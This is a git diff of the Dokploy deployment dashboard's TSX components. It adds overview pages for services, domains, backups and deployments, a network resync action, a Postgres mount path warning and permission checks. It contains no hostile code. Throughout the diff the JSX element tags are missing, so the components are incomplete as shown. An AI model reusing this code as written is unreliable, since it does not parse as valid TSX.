index 5a4996ba2..e4c96df2e 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx @@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => { name="CPU" dataKey="cpu" type="monotone" + isAnimationActive={false} fill="url(#fillCPU)" stroke="hsl(var(--chart-1))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx index 23d934c06..22a9e4ac7 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx @@ -132,6 +132,7 @@ export const ContainerMemoryChart = ({ data }: Props) => { name="Memory" dataKey="memory" type="monotone" + isAnimationActive={false} fill="url(#fillMemory)" stroke="hsl(var(--chart-2))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx index f9f033b36..de869614d 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx @@ -161,6 +161,7 @@ export const ContainerNetworkChart = ({ data }: Props) => { name="Input" dataKey="input" type="monotone" + isAnimationActive={false} fill="url(#fillInput)" stroke="hsl(var(--chart-3))" strokeWidth={2} @@ -169,6 +170,7 @@ export const ContainerNetworkChart = ({ data }: Props) => { name="Output" dataKey="output" type="monotone" + isAnimationActive={false} fill="url(#fillOutput)" stroke="hsl(var(--chart-4))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx index 2ac560ce6..4d29c56b9 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx @@ -98,6 +98,7 @@ export function CPUChart({ data }: CPUChartProps) { name="CPU" dataKey="cpu" type="monotone" + isAnimationActive={false} fill="url(#fillCPU)" stroke="hsl(var(--chart-1))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx index b54208652..920ae9a2d 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx @@ -115,6 +115,7 @@ export function MemoryChart({ data }: MemoryChartProps) { yAxisId="left" dataKey="memUsed" type="monotone" + isAnimationActive={false} fill="url(#fillMemory)" stroke="hsl(var(--chart-2))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx index 11eec853b..8f72f2fca 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx @@ -19,6 +19,11 @@ interface NetworkChartProps { data: any[]; } +function formatNetworkGB(valueInMB: number) { + if (Number.isNaN(valueInMB)) return "0"; + return (valueInMB / 1024).toFixed(1); +} + const chartConfig = { networkIn: { label: "Network In", @@ -38,8 +43,8 @@ export function NetworkChart({ data }: NetworkChartProps) { Network - Network Traffic: ↑ {latestData.networkOut} KB/s ↓{" "} - {latestData.networkIn} KB/s + Network Total: ↑ {formatNetworkGB(latestData.networkOut)} GB ↓{" "} + {formatNetworkGB(latestData.networkIn)} GB (since Boot) @@ -83,7 +88,7 @@ export function NetworkChart({ data }: NetworkChartProps) { minTickGap={32} tickFormatter={(value) => formatTimestamp(value)} /> - `${value} KB/s`} /> + `${formatNetworkGB(value)} GB`} /> { @@ -105,8 +110,8 @@ export function NetworkChart({ data }: NetworkChartProps) { Network - ↑ {data.networkOut} KB/s -
↓ {data.networkIn} KB/s + ↑ {formatNetworkGB(data.networkOut)} GB +
↓ {formatNetworkGB(data.networkIn)} GB
@@ -120,6 +125,7 @@ export function NetworkChart({ data }: NetworkChartProps) { name="Network In" dataKey="networkIn" type="monotone" + isAnimationActive={false} fill="url(#fillNetworkIn)" stroke="hsl(var(--chart-3))" strokeWidth={2} @@ -128,6 +134,7 @@ export function NetworkChart({ data }: NetworkChartProps) { name="Network Out" dataKey="networkOut" type="monotone" + isAnimationActive={false} fill="url(#fillNetworkOut)" stroke="hsl(var(--chart-4))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/networks/sync-networks.tsx b/apps/dokploy/components/dashboard/networks/sync-networks.tsx index 2a0403048..c6336da72 100644 --- a/apps/dokploy/components/dashboard/networks/sync-networks.tsx +++ b/apps/dokploy/components/dashboard/networks/sync-networks.tsx @@ -34,6 +34,7 @@ export const SyncNetworks = ({ serverId }: Props) => { const importMutation = api.network.import.useMutation(); const removeMutation = api.network.remove.useMutation(); const recreateMutation = api.network.recreate.useMutation(); + const resyncMutation = api.network.resync.useMutation(); const toggleSelected = (name: string) => { setSelected((prev) => { @@ -102,6 +103,20 @@ export const SyncNetworks = ({ serverId }: Props) => { } }; + const onResync = async (networkId: string, name: string) => { + try { + await resyncMutation.mutateAsync({ networkId }); + toast.success(`Network "${name}" updated from Docker`); + await utils.network.all.invalidate(); + await utils.network.networksToSync.invalidate(); + await refetch(); + } catch (error) { + toast.error("Error updating network", { + description: error instanceof Error ? error.message : "Unknown error", + }); + } + }; + return ( { )}
+ {!!data?.changed.length && ( + <> + +
+ + Changed ({data.changed.length}) + + + These networks were deleted and recreated in Docker under + the same name — attributes in Dokploy are outdated. + + {data.changed.map((changed) => ( +
+
+ {changed.name} + {changed.driver && ( + {changed.driver} + )} +
+ +
+ ))} +
+ + )} + {!!data?.missing.length && ( <> diff --git a/apps/dokploy/components/dashboard/organization/handle-organization.tsx b/apps/dokploy/components/dashboard/organization/handle-organization.tsx index 1a3bd919d..ff0b18a30 100644 --- a/apps/dokploy/components/dashboard/organization/handle-organization.tsx +++ b/apps/dokploy/components/dashboard/organization/handle-organization.tsx @@ -14,7 +14,6 @@ import { DialogTitle, DialogTrigger, } from "@/components/ui/dialog"; -import { DropdownMenuItem } from "@/components/ui/dropdown-menu"; import { Form, FormControl, @@ -49,6 +48,7 @@ export function AddOrganization({ organizationId }: Props) { }, { enabled: !!organizationId, + refetchOnWindowFocus: false, }, ); const { mutateAsync, isPending } = organizationId @@ -103,16 +103,19 @@ export function AddOrganization({ organizationId }: Props) { {organizationId ? ( - e.preventDefault()} + ) : ( - e.preventDefault()} + )} diff --git a/apps/dokploy/components/dashboard/overview/show-overview-backups.tsx b/apps/dokploy/components/dashboard/overview/show-overview-backups.tsx new file mode 100644 index 000000000..4d4b71089 --- /dev/null +++ b/apps/dokploy/components/dashboard/overview/show-overview-backups.tsx @@ -0,0 +1,254 @@ +import type { OverviewBackup } from "@dokploy/server/services/overview-shared"; +import { getBackupOverviewIcon } from "@dokploy/server/services/overview-shared"; +import { + ArrowUpDown, + CircuitBoard, + GlobeIcon, + Loader2, + RefreshCw, + ServerIcon, +} from "lucide-react"; +import Link from "next/link"; +import { useMemo, useState } from "react"; +import { DB_ENGINE_ICONS } from "@/components/icons/data-tools-icons"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { Card } from "@/components/ui/card"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import { api } from "@/utils/api"; + +const STATUS_VARIANT: Record = + { + done: "default", + running: "secondary", + error: "destructive", + cancelled: "destructive", + }; + +const renderRowIcon = (row: OverviewBackup) => { + const icon = getBackupOverviewIcon(row); + if (icon.kind === "db") { + const Icon = DB_ENGINE_ICONS[icon.engine as keyof typeof DB_ENGINE_ICONS]; + return Icon ? : null; + } + if (icon.kind === "webServer") { + return ; + } + return icon.type === "compose" ? ( + + ) : ( + + ); +}; + +const detailHref = (row: OverviewBackup) => { + if (!row.projectId || !row.environmentId || !row.serviceOwnerId) return null; + return `/dashboard/project/${row.projectId}/environment/${row.environmentId}/services/${row.serviceOwnerType}/${row.serviceOwnerId}`; +}; + +export const ShowOverviewBackups = () => { + const { + data: backups, + isFetching, + isFetched, + isError, + refetch, + } = api.overview.backups.useQuery(undefined, { + staleTime: Number.POSITIVE_INFINITY, + refetchOnWindowFocus: false, + }); + + const [destinationId, setDestinationId] = useState("all"); + const [serviceOwnerId, setServiceOwnerId] = useState("all"); + const [sortDirection, setSortDirection] = useState<"asc" | "desc">("desc"); + + const destinations = useMemo(() => { + if (!backups) return []; + const map = new Map(); + for (const row of backups) map.set(row.destinationId, row.destinationName); + return Array.from(map.entries()).map(([id, name]) => ({ id, name })); + }, [backups]); + + const services = useMemo(() => { + if (!backups) return []; + const map = new Map(); + for (const row of backups) { + if (row.serviceOwnerId) map.set(row.serviceOwnerId, row.serviceName); + } + return Array.from(map.entries()).map(([id, name]) => ({ id, name })); + }, [backups]); + + const rows = useMemo(() => { + if (!backups) return []; + const filtered = backups.filter( + (row) => + (destinationId === "all" || row.destinationId === destinationId) && + (serviceOwnerId === "all" || row.serviceOwnerId === serviceOwnerId), + ); + const sorted = [...filtered].sort( + (a, b) => + new Date(a.createdAt).getTime() - new Date(b.createdAt).getTime(), + ); + return sortDirection === "asc" ? sorted : sorted.reverse(); + }, [backups, destinationId, serviceOwnerId, sortDirection]); + + return ( + +
+
+

+ Backups{" "} + {isFetched && ( + + ({rows.length}) + + )} +

+
+ {isFetched && ( + <> + + + + + )} + +
+
+ + {isFetching && !isFetched && ( +
+ + Loading backups... +
+ )} + + {isFetched && isError && ( +
+ Failed to load backups. + +
+ )} + + {isFetched && !isError && rows.length === 0 && ( +
+ No backups match the current filters. +
+ )} + + {isFetched && !isError && rows.length > 0 && ( + + + + Date + Service + Destination + Kind + Status + + + + {rows.map((row) => { + const href = detailHref(row); + const name = href ? ( + + {row.serviceName} + + ) : ( + row.serviceName + ); + return ( + + + {new Date(row.createdAt).toLocaleString()} + + +
+ {renderRowIcon(row)} + {name} +
+
+ {row.destinationName} + + + {row.kind === "backup" ? "Database" : "Volume"} + + + + {row.status && ( + + {row.status} + + )} + +
+ ); + })} +
+
+ )} +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/overview/show-overview-deployments.tsx b/apps/dokploy/components/dashboard/overview/show-overview-deployments.tsx new file mode 100644 index 000000000..be12da353 --- /dev/null +++ b/apps/dokploy/components/dashboard/overview/show-overview-deployments.tsx @@ -0,0 +1,77 @@ +import { Rocket } from "lucide-react"; +import { useRouter } from "next/router"; +import { ShowDeploymentsTable } from "@/components/dashboard/deployments/show-deployments-table"; +import { ShowQueueTable } from "@/components/dashboard/deployments/show-queue-table"; +import { + Card, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs"; + +const SUBTAB_VALUES = ["deployments", "queue"] as const; +type SubtabValue = (typeof SUBTAB_VALUES)[number]; +const DEFAULT_SUBTAB: SubtabValue = "deployments"; + +function isValidSubtab(t: string): t is SubtabValue { + return SUBTAB_VALUES.includes(t as SubtabValue); +} + +export const ShowOverviewDeployments = () => { + const router = useRouter(); + const subtab = + typeof router.query.subtab === "string" && + isValidSubtab(router.query.subtab) + ? router.query.subtab + : DEFAULT_SUBTAB; + + const setSubtab = (value: string) => { + if (!isValidSubtab(value)) return; + const { subtab: _current, ...query } = router.query; + router.replace( + { + pathname: router.pathname, + query: value === DEFAULT_SUBTAB ? query : { ...query, subtab: value }, + }, + undefined, + { shallow: true }, + ); + }; + + return ( + +
+ +
+
+ + + Deployments + + + All application and compose deployments in one place. + +
+
+ + + Deployments + Queue + + + + + + + + +
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/overview/show-overview-domains.tsx b/apps/dokploy/components/dashboard/overview/show-overview-domains.tsx new file mode 100644 index 000000000..e70045087 --- /dev/null +++ b/apps/dokploy/components/dashboard/overview/show-overview-domains.tsx @@ -0,0 +1,383 @@ +import type { OverviewDomainSortBy } from "@dokploy/server/services/overview-shared"; +import { sortOverviewDomains } from "@dokploy/server/services/overview-shared"; +import { ExternalLink, Loader2 } from "lucide-react"; +import Link from "next/link"; +import { useMemo, useState } from "react"; +import { toast } from "sonner"; +import { COMPOSE_REDEPLOY_TOAST } from "@/components/dashboard/application/domains/redeploy-hint"; +import { DateTooltip } from "@/components/shared/date-tooltip"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { Card } from "@/components/ui/card"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { Switch } from "@/components/ui/switch"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import { + Tooltip, + TooltipContent, + TooltipProvider, + TooltipTrigger, +} from "@/components/ui/tooltip"; +import { useSortPreference } from "@/hooks/use-sort-preference"; +import { api } from "@/utils/api"; + +const PAGE_SIZE_OPTIONS = [25, 50, 100, 200]; + +const SORT_OPTIONS: { value: OverviewDomainSortBy; label: string }[] = [ + { value: "createdAt-desc", label: "Newest first" }, + { value: "createdAt-asc", label: "Oldest first" }, + { value: "port-asc", label: "Port (low-high)" }, + { value: "port-desc", label: "Port (high-low)" }, +]; + +const SORT_VALUES = SORT_OPTIONS.map((opt) => opt.value); + +export const ShowOverviewDomains = () => { + const utils = api.useUtils(); + const { data: permissions } = api.user.getPermissions.useQuery(); + const canToggleDomain = permissions?.domain.create ?? false; + + const { data: domains, isLoading } = api.overview.domains.useQuery(); + const { data: allProjects } = api.project.all.useQuery(); + + const { mutateAsync: toggleEnable, isPending: isToggling } = + api.domain.toggleEnable.useMutation(); + + const [selectedProjectId, setSelectedProjectId] = useState("all"); + const [selectedStatus, setSelectedStatus] = useState("all"); + const [selectedSsl, setSelectedSsl] = useState("all"); + const [selectedPort, setSelectedPort] = useState("all"); + const [sortBy, setSort] = useSortPreference( + "overviewDomainsSort", + "createdAt-desc", + SORT_VALUES, + ); + + const handleToggleEnable = async ( + domain: NonNullable[number], + ) => { + try { + const result = await toggleEnable({ domainId: domain.domainId }); + utils.overview.domains.invalidate(); + toast.success( + result.enabled ? "Domain enabled" : "Domain disabled", + result.requiresRedeploy + ? { description: COMPOSE_REDEPLOY_TOAST } + : undefined, + ); + } catch { + toast.error(`Error updating "${domain.host}"`); + } + }; + + const availablePorts = useMemo(() => { + if (!domains) return []; + const ports = new Set(); + for (const domain of domains) { + if (domain.port !== null) ports.add(domain.port); + } + return Array.from(ports).sort((a, b) => a - b); + }, [domains]); + + const filteredDomains = useMemo(() => { + if (!domains) return []; + const filtered = domains.filter( + (domain) => + (selectedProjectId === "all" || + domain.projectId === selectedProjectId) && + (selectedStatus === "all" || + (selectedStatus === "enabled" ? domain.enabled : !domain.enabled)) && + (selectedSsl === "all" || + (selectedSsl === "https" ? domain.https : !domain.https)) && + (selectedPort === "all" || domain.port === Number(selectedPort)), + ); + return sortOverviewDomains(filtered, sortBy); + }, [ + domains, + selectedProjectId, + selectedStatus, + selectedSsl, + selectedPort, + sortBy, + ]); + + const [pageSize, setPageSize] = useState(50); + const [pageIndex, setPageIndex] = useState(0); + const pageCount = Math.max(1, Math.ceil(filteredDomains.length / pageSize)); + const currentPageIndex = Math.min(pageIndex, pageCount - 1); + const pagedDomains = filteredDomains.slice( + currentPageIndex * pageSize, + currentPageIndex * pageSize + pageSize, + ); + + return ( + +
+
+

+ Domains{" "} + + ({filteredDomains.length}) + +

+
+ + + + {availablePorts.length > 0 && ( + + )} + +
+
+ + {isLoading && ( +
+ + Loading domains... +
+ )} + + {!isLoading && filteredDomains.length === 0 && ( +
+ No domains match the current filters. +
+ )} + + {!isLoading && filteredDomains.length > 0 && ( + <> + + + + Service + Host + Path + Port + Entrypoint + Protocol + Certificate + Created + Status + + + + {pagedDomains.map((domain) => { + const href = `/dashboard/project/${domain.projectId}/environment/${domain.environmentId}/services/${domain.serviceOwnerType}/${domain.serviceOwnerId}`; + return ( + + + + + {domain.serviceName} + + + {domain.projectName} / {domain.environmentName} + + + + + + {domain.host} + + + + + + {domain.path || "/"} + + + + {domain.port} + + + {domain.customEntrypoint ? ( + + {domain.customEntrypoint} + + ) : ( + + )} + + + + {domain.https ? "HTTPS" : "HTTP"} + + + + + {domain.certificateType} + + + + + + + {canToggleDomain ? ( + + + +
+ + handleToggleEnable(domain) + } + disabled={isToggling} + /> +
+
+ +

+ {domain.enabled + ? "Domain is active. Toggle to disable routing without deleting it." + : "Domain is disabled and not routed. Toggle to enable it again."} +

+
+
+
+ ) : ( + + {domain.enabled ? "Enabled" : "Disabled"} + + )} +
+
+ ); + })} +
+
+ +
+ + {filteredDomains.length}{" "} + {filteredDomains.length === 1 ? "domain" : "domains"} total + +
+
+ Rows per page + +
+ + Page {currentPageIndex + 1} of {pageCount} + +
+ + +
+
+
+ + )} +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/overview/show-overview-services.tsx b/apps/dokploy/components/dashboard/overview/show-overview-services.tsx new file mode 100644 index 000000000..a2882d496 --- /dev/null +++ b/apps/dokploy/components/dashboard/overview/show-overview-services.tsx @@ -0,0 +1,550 @@ +import type { + OverviewServiceType, + OverviewSortBy, +} from "@dokploy/server/services/overview-shared"; +import { sortOverviewServices } from "@dokploy/server/services/overview-shared"; +import { + Ban, + CircuitBoard, + GlobeIcon, + Loader2, + MoreHorizontal, + RefreshCw, + Search, + ServerIcon, +} from "lucide-react"; +import Link from "next/link"; +import { useMemo, useState } from "react"; +import { toast } from "sonner"; +import { DB_ENGINE_ICONS } from "@/components/icons/data-tools-icons"; +import { DateTooltip } from "@/components/shared/date-tooltip"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { StatusTooltip } from "@/components/shared/status-tooltip"; +import { Button } from "@/components/ui/button"; +import { Card } from "@/components/ui/card"; +import { + DropdownMenu, + DropdownMenuContent, + DropdownMenuItem, + DropdownMenuLabel, + DropdownMenuTrigger, +} from "@/components/ui/dropdown-menu"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import { useSortPreference } from "@/hooks/use-sort-preference"; +import { api } from "@/utils/api"; + +const PAGE_SIZE_OPTIONS = [25, 50, 100, 200]; + +const TYPE_LABELS = { + application: "Application", + postgres: "PostgreSQL", + mariadb: "MariaDB", + mongo: "MongoDB", + mysql: "MySQL", + redis: "Redis", + compose: "Compose", + libsql: "Libsql", +} satisfies Record; + +const STATUS_OPTIONS = ["running", "idle", "done", "error"]; + +// "done" is the steady live state (green); "running" only holds mid-deploy (yellow) — relabeled to match what users expect. +const STATUS_LABELS: Record = { + running: "Deploying", + idle: "Idle", + done: "Running", + error: "Error", +}; + +const SORT_OPTIONS: { value: OverviewSortBy; label: string }[] = [ + { value: "lastDeploy-desc", label: "Recently deployed" }, + { value: "lastDeploy-asc", label: "Oldest deployed" }, + { value: "createdAt-desc", label: "Newest first" }, + { value: "createdAt-asc", label: "Oldest first" }, + { value: "name-asc", label: "Name (A-Z)" }, + { value: "name-desc", label: "Name (Z-A)" }, + { value: "type-asc", label: "Type (A-Z)" }, + { value: "type-desc", label: "Type (Z-A)" }, +]; + +const SORT_VALUES = SORT_OPTIONS.map((opt) => opt.value); + +// libsql has no deploy/stop actions, same as environment/[environmentId].tsx. +const idKeyByType: Record = { + application: "applicationId", + compose: "composeId", + postgres: "postgresId", + mysql: "mysqlId", + mariadb: "mariadbId", + redis: "redisId", + mongo: "mongoId", +}; + +export const ShowOverviewServices = () => { + const utils = api.useUtils(); + const { + data: services, + isLoading, + refetch, + } = api.overview.services.useQuery(); + const { data: allProjects } = api.project.all.useQuery(); + + const [searchQuery, setSearchQuery] = useState(""); + const [selectedProjectId, setSelectedProjectId] = useState("all"); + const [selectedType, setSelectedType] = useState("all"); + const [selectedStatus, setSelectedStatus] = useState("all"); + const [selectedServerId, setSelectedServerId] = useState("all"); + const [sortBy, setSort] = useSortPreference( + "overviewServicesSort", + "lastDeploy-desc", + SORT_VALUES, + ); + + const applicationActions = { + deploy: api.application.deploy.useMutation(), + stop: api.application.stop.useMutation(), + }; + const composeActions = { + deploy: api.compose.deploy.useMutation(), + stop: api.compose.stop.useMutation(), + }; + const postgresActions = { + deploy: api.postgres.deploy.useMutation(), + stop: api.postgres.stop.useMutation(), + }; + const mysqlActions = { + deploy: api.mysql.deploy.useMutation(), + stop: api.mysql.stop.useMutation(), + }; + const mariadbActions = { + deploy: api.mariadb.deploy.useMutation(), + stop: api.mariadb.stop.useMutation(), + }; + const redisActions = { + deploy: api.redis.deploy.useMutation(), + stop: api.redis.stop.useMutation(), + }; + const mongoActions = { + deploy: api.mongo.deploy.useMutation(), + stop: api.mongo.stop.useMutation(), + }; + + const actionsByType: Record< + string, + { + deploy: { mutateAsync: (input: any) => Promise }; + stop: { mutateAsync: (input: any) => Promise }; + } + > = { + application: applicationActions, + compose: composeActions, + postgres: postgresActions, + mysql: mysqlActions, + mariadb: mariadbActions, + redis: redisActions, + mongo: mongoActions, + }; + + const handleAction = async ( + service: NonNullable[number], + action: "deploy" | "stop", + ) => { + const actions = actionsByType[service.type]; + const idKey = idKeyByType[service.type]; + if (!actions || !idKey) return; + + const labels = + action === "deploy" + ? { + loading: "Deploying", + success: "queued for deployment", + error: "deploying", + } + : { loading: "Stopping", success: "stopped", error: "stopping" }; + + toast.promise( + (async () => { + await actions[action].mutateAsync({ [idKey]: service.id }); + })(), + { + loading: `${labels.loading} ${service.name}...`, + success: () => { + utils.overview.services.invalidate(); + return `${service.name} ${labels.success} successfully`; + }, + error: (error) => + `Error ${labels.error} ${service.name}: ${error instanceof Error ? error.message : "Unknown error"}`, + }, + ); + }; + + const availableServers = useMemo(() => { + if (!services) return []; + const map = new Map(); + for (const service of services) { + if (service.serverId && service.serverName) { + map.set(service.serverId, service.serverName); + } + } + return Array.from(map.entries()).map(([serverId, serverName]) => ({ + serverId, + serverName, + })); + }, [services]); + + const hasServicesWithoutServer = useMemo( + () => !!services?.some((service) => !service.serverId), + [services], + ); + + const filteredServices = useMemo(() => { + if (!services) return []; + const filtered = services.filter( + (service) => + service.name.toLowerCase().includes(searchQuery.toLowerCase()) && + (selectedProjectId === "all" || + service.projectId === selectedProjectId) && + (selectedType === "all" || service.type === selectedType) && + (selectedStatus === "all" || service.status === selectedStatus) && + (selectedServerId === "all" || + (selectedServerId === "dokploy-server" && !service.serverId) || + service.serverId === selectedServerId), + ); + return sortOverviewServices(filtered, sortBy); + }, [ + services, + searchQuery, + selectedProjectId, + selectedType, + selectedStatus, + selectedServerId, + sortBy, + ]); + + // pageIndex is clamped against the filtered count each render instead of reset via an effect. + const [pageSize, setPageSize] = useState(50); + const [pageIndex, setPageIndex] = useState(0); + const pageCount = Math.max(1, Math.ceil(filteredServices.length / pageSize)); + const currentPageIndex = Math.min(pageIndex, pageCount - 1); + const pagedServices = filteredServices.slice( + currentPageIndex * pageSize, + currentPageIndex * pageSize + pageSize, + ); + + const renderIcon = (service: NonNullable[number]) => { + if (service.type in DB_ENGINE_ICONS) { + const Icon = + DB_ENGINE_ICONS[service.type as keyof typeof DB_ENGINE_ICONS]; + return ; + } + if (service.icon) { + return ( + {service.name} + ); + } + return service.type === "compose" ? ( + + ) : ( + + ); + }; + + return ( + +
+
+

+ Services{" "} + + ({filteredServices.length}) + +

+
+
+ setSearchQuery(e.target.value)} + className="pr-9 w-[200px]" + /> + +
+ + + + {(availableServers.length > 0 || hasServicesWithoutServer) && ( + + )} + +
+
+ + {isLoading && ( +
+ + Loading services... +
+ )} + + {!isLoading && filteredServices.length === 0 && ( +
+ No services match the current filters. +
+ )} + + {!isLoading && filteredServices.length > 0 && ( + <> + + + + Service + Type + Status + Server + Created + Last Deploy + Actions + + + + {pagedServices.map((service) => { + const href = `/dashboard/project/${service.projectId}/environment/${service.environmentId}/services/${service.type}/${service.id}`; + const hasActions = service.type in actionsByType; + return ( + + + + {renderIcon(service)} +
+ + {service.name} + + + {service.projectName} / {service.environmentName} + +
+ +
+ {TYPE_LABELS[service.type]} + + + + +
+ + + {service.serverName ?? "Dokploy server"} + +
+
+ + + + + {service.lastDeployAt ? ( + + ) : ( + + )} + + + {hasActions && ( + + + + + + + {service.name} + + handleAction(service, "deploy")} + > + e.preventDefault()} + > + + Deploy + + + handleAction(service, "stop")} + > + e.preventDefault()} + > + + Stop + + + + + )} + +
+ ); + })} +
+
+ +
+ + {filteredServices.length}{" "} + {filteredServices.length === 1 ? "service" : "services"} total + +
+
+ Rows per page + +
+ + Page {currentPageIndex + 1} of {pageCount} + +
+ + +
+
+
+ + )} +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx b/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx index 07e059ce8..4023230f8 100644 --- a/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx +++ b/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx @@ -4,6 +4,7 @@ import { useEffect } from "react"; import { useFieldArray, useForm } from "react-hook-form"; import { toast } from "sonner"; import { z } from "zod"; +import { AlertBlock } from "@/components/shared/alert-block"; import { Button } from "@/components/ui/button"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { @@ -18,6 +19,19 @@ import { Input } from "@/components/ui/input"; import { api } from "@/utils/api"; import type { ServiceType } from "../../application/advanced/show-resources"; +const getPostgresMountPath = (dockerImage: string): string => { + const versionMatch = dockerImage.match(/postgres:(\d+)/); + if (versionMatch?.[1]) { + const version = Number.parseInt(versionMatch[1], 10); + if (version >= 18) { + return `/var/lib/postgresql/${version}/docker`; + } + } + return "/var/lib/postgresql/data"; +}; + +const POSTGRES_DATA_PATH_REGEX = /^\/var\/lib\/postgresql(\/|$)/; + const addDockerImage = z.object({ dockerImage: z.string().min(1, "Docker image is required"), command: z.string(), @@ -91,6 +105,27 @@ export const ShowCustomCommand = ({ id, type }: Props) => { } }, [data, form]); + const dockerImage = form.watch("dockerImage"); + + const mountPathWarning = (() => { + if (type !== "postgres" || !dockerImage) return null; + const mounts = data && "mounts" in data ? data.mounts : []; + const dataMounts = mounts.filter( + (mount) => + mount.type === "volume" && + POSTGRES_DATA_PATH_REGEX.test(mount.mountPath), + ); + if (dataMounts.length === 0) return null; + const expectedPath = getPostgresMountPath(dockerImage); + if (dataMounts.some((mount) => mount.mountPath === expectedPath)) { + return null; + } + return { + expectedPath, + currentPath: dataMounts.map((mount) => mount.mountPath).join(", "), + }; + })(); + const onSubmit = async (formData: AddDockerImage) => { await mutateAsync({ mongoId: id || "", @@ -139,6 +174,18 @@ export const ShowCustomCommand = ({ id, type }: Props) => { )} /> + {mountPathWarning && ( + + This image expects its data directory under{" "} + {mountPathWarning.expectedPath}, but the + volume of this database is mounted at{" "} + {mountPathWarning.currentPath}. Changing the + image does not migrate existing data — Postgres may + crash-loop or start with an empty database. Adjust the + volume mount path in the Volumes section or keep a + compatible image before saving. + + )}
{ }, ); + const completionSource = useEnvCompletionSource({ + includeShared: false, + projectId: data?.projectId, + environmentId, + }); const form = useForm({ defaultValues: { env: data?.env ?? "", @@ -134,7 +140,9 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => { Use this syntax to reference environment-level variables in your service environments:{" "} - API_URL=${"{{environment.API_URL}}"} + API_URL=${"{{environment.API_URL}}"}. You can also + reference secrets from a configured vault provider:{" "} + DB_URL=${"{{vault..}}"}
@@ -151,6 +159,7 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => { Environment variables { }, ); + const completionSource = useEnvCompletionSource({ + includeShared: false, + projectId, + }); const form = useForm({ defaultValues: { env: data?.env ?? "", @@ -77,6 +82,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => { .then(() => { toast.success("Project env updated successfully"); utils.project.all.invalidate(); + utils.project.one.invalidate({ projectId }); }) .catch(() => { toast.error("Error updating the env"); @@ -149,6 +155,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => { Environment variables { { - router.push("/dashboard/deployments"); + router.push("/dashboard/overview?tab=deployments"); setOpen(false); }} > diff --git a/apps/dokploy/components/dashboard/settings/cluster/nodes/show-nodes.tsx b/apps/dokploy/components/dashboard/settings/cluster/nodes/show-nodes.tsx index c7f580caa..ef036507a 100644 --- a/apps/dokploy/components/dashboard/settings/cluster/nodes/show-nodes.tsx +++ b/apps/dokploy/components/dashboard/settings/cluster/nodes/show-nodes.tsx @@ -52,13 +52,14 @@ export const ShowNodes = ({ serverId }: Props) => { serverId, }); const { data: registry } = api.registry.all.useQuery(); + const { data: permissions } = api.user.getPermissions.useQuery(); const { mutateAsync: deleteNode } = api.cluster.removeWorker.useMutation(); const haveAtLeastOneRegistry = !!(registry && registry?.length > 0); return (
- +
@@ -68,7 +69,7 @@ export const ShowNodes = ({ serverId }: Props) => { Add nodes to your cluster
- {haveAtLeastOneRegistry && ( + {haveAtLeastOneRegistry && permissions?.server.create && (
